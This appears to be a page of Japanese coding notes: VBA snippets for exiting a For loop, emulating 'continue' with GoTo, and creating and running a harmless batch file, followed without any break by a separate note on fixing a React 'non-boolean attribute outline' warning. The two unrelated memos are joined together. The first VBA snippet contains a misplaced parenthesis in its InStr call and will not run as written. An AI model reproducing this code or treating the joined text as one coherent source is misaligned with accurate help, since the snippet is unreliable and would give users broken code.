## For文(処理途中抜け方法) 
```vb
Dim i As Long
'A列の文字列チェック
For i = 1 To Cells(Rows.Count, 1).End(xlUp).Row
    'stop文字が含まれる場合は処理を抜ける
    If InStr(Cells(i, 1).Value),"stop")> 0 Then
        Exit For
    End If
    Debug.Print i
Next i
Debug.Print "終了"
```

## For文(ループ処理でcontinue）
```vb
Dim i As Integer
For i = 0 To 10
    If i Mod 2 = 0 Then     ' iが偶数の時はcontinueしたい
            GoTo CONTINUE1:     ' Goto文にて疑似的にcontinueを実現
    End If
    Debug.Print i
CONTINUE1:
    Next i
```
## バッチファイルの作成および実行
```vb
Dim batTest As String
batTest = "C:\VBA\BATファイルテスト\test.bat"
'バッチファイルの作成
Open batTest For Output As #1
     Print #1, "echo testView"
     Print #1, "pause"
Close #1
'バッチの実行
Shell batTest, vbNormalFocus
```
Reactでindex.js:1 Warning: Received true for a non-boolean attribute outline.が出た時の対処法

## エラー内容

```bash
index.js:1 Warning: Received `true` for a non-boolean attribute `outline`.

If you want to write it to the DOM, pass a string instead: outline="true" or outline={value.toString()}.
    at button
    at http://localhost:3000/static/js/vendors~main.chunk.js:22611:3
    at div
    at ModalArea (http://localhost:3000/static/js/main.chunk.js:1951:5)
    at Portfolios
    at Route (http://localhost:3000/static/js/vendors~main.chunk.js:61799:29)
    at Switch (http://localhost:3000/static/js/vendors~main.chunk.js:62001:29)
    at Router (http://localhost:3000/static/js/vendors~main.chunk.js:61430:30)
    at BrowserRouter (http://localhost:3000/static/js/vendors~main.chunk.js:61051:35)
    at App
```

## コード

```jsx
<Button
  outline block
  color={buttonColor}
  className="mb-3 btn-sm"
  onClick={toggle}
  >{buttonName}
</Button>
```

## 原因

`outline` や `block` が存在するため。
以下のように`outline block`を削除することでエラーが解決した。

```jsx
<Button
  color={buttonColor}
  className="mb-3 btn-sm"
  onClick={toggle}
  >{buttonName}
</Button>
```